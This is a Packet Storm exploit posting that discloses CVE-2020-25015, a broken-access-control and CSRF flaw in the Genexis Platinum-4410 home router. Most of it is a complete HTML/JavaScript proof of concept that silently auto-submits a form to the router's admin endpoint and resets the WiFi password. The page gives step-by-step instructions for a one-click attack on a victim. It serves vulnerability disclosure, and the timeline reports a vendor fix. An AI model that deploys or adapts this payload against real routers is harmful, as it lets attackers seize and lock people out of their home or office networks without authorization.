what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Genexis Platinum-4410 P4410-V2-1.28 Missing Access Control / CSRF

Genexis Platinum-4410 P4410-V2-1.28 Missing Access Control / CSRF
Posted Nov 9, 2020
Authored by Jinson Varghese Behanan

Genexis Platinum-4410 version P4410-V2-1.28 suffers from missing access control and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, bypass, csrf
advisories | CVE-2020-25015
SHA-256 | 87b9aec4e79aea431ddb119bdf48490829d08f13b6a970ebb8de28d3c99ea208

Genexis Platinum-4410 P4410-V2-1.28 Missing Access Control / CSRF

Change Mirror Download
# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF
# Date: 28-08-2020
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/csrf-broken-access-control-in-genexis-platinum-4410/
# Version: v2.1 (software version P4410-V2-1.28)
# CVE : CVE-2020-25015

1. Description

Platinum 4410 is a compact router from Genexis that is commonly used at homes and offices. Hardware version V2.1 – Software version P4410-V2-1.28 was found to be vulnerable to Broken Access Control and CSRF which could be combined to remotely change the WIFI access point’s password.

2. Impact

An attacker can send the victim a link, which if he clicks while he is connected to the WiFi network established from the vulnerable router, the password of the WIFI access point will get changed via CSRF exploit. As the router is also vulnerable to Broken Access Control, the victim does not need to be logged in to the router’s web-based setup page (192.168.1.1), essentially making this a one-click hack.

3. Proof of Concept

Create an HTML file with the following code:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
<input type="hidden" name="wlEnbl" value="ON" />
<input type="hidden" name="hwlKeys0" value="" />
<input type="hidden" name="hwlKeys1" value="" />
<input type="hidden" name="hwlKeys2" value="" />
<input type="hidden" name="hwlKeys3" value="" />
<input type="hidden" name="hwlgMode" value="9" />
<input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
<input type="hidden" name="hwlEnbl" value="1" />
<input type="hidden" name="hWPSMode" value="1" />
<input type="hidden" name="henableSsid" value="1" />
<input type="hidden" name="hwlHide" value="0" />
<input type="hidden" name="isInWPSing" value="0" />
<input type="hidden" name="WpsConfModeAll" value="7" />
<input type="hidden" name="WpsConfModeNone" value="0" />
<input type="hidden" name="hWpsStart" value="0" />
<input type="hidden" name="isCUCSupport" value="0" />
<input type="hidden" name="SSIDPre" value="N/A" />
<input type="hidden" name="bwControlhidden" value="0" />
<input type="hidden" name="ht_bw" value="1" />
<input type="hidden" name="wlgMode" value="b,g,n" />
<input type="hidden" name="wlChannel" value="0" />
<input type="hidden" name="wlTxPwr" value="1" />
<input type="hidden" name="wlSsidIdx" value="0" />
<input type="hidden" name="SSID_Flag" value="0" />
<input type="hidden" name="wlSsid" value="JINSON" />
<input type="hidden" name="wlMcs" value="33" />
<input type="hidden" name="bwControl" value="1" />
<input type="hidden" name="giControl" value="1" />
<input type="hidden" name="enableSsid" value="on" />
<input type="hidden" name="wlAssociateNum" value="32" />
<input type="hidden" name="wlSecurMode" value="WPAand11i" />
<input type="hidden" name="wlPreauth" value="off" />
<input type="hidden" name="wlNetReauth" value="1" />
<input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
<input type="hidden" name="cb_enablshowpsw" value="on" />
<input type="hidden" name="wlWpaGtkRekey" value="" />
<input type="hidden" name="wlRadiusIPAddr" value="" />
<input type="hidden" name="wlRadiusPort" value="" />
<input type="hidden" name="wlRadiusKey" value="" />
<input type="hidden" name="wlWpa" value="TKIPAES" />
<input type="hidden" name="wlKeyBit" value="64" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="wlKeys" value="" />
<input type="hidden" name="WpsActive" value="0" />
<input type="hidden" name="wpsmode" value="ap-pbc" />
<input type="hidden" name="pinvalue" value="" />
<input type="hidden" name="Save_Flag" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Open this file in a browser while you are connected to the WIFI. There is no need for the victim to be logged in to the Router admin panel (192.168.1.1). It can be seen that the WIFI connection is dropped. To reconnect, forget the WIFI connection on your laptop or phone and connect using the newly changed password: NEWPASSWORD


4. PoC Video: https://www.youtube.com/watch?v=nSu5ANDH2Rk&feature=emb_title

3. Timeline

Vulnerability reported to the Genexis team – August 28, 2020
Team confirmed firmware release containing fix – September 14, 2020
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close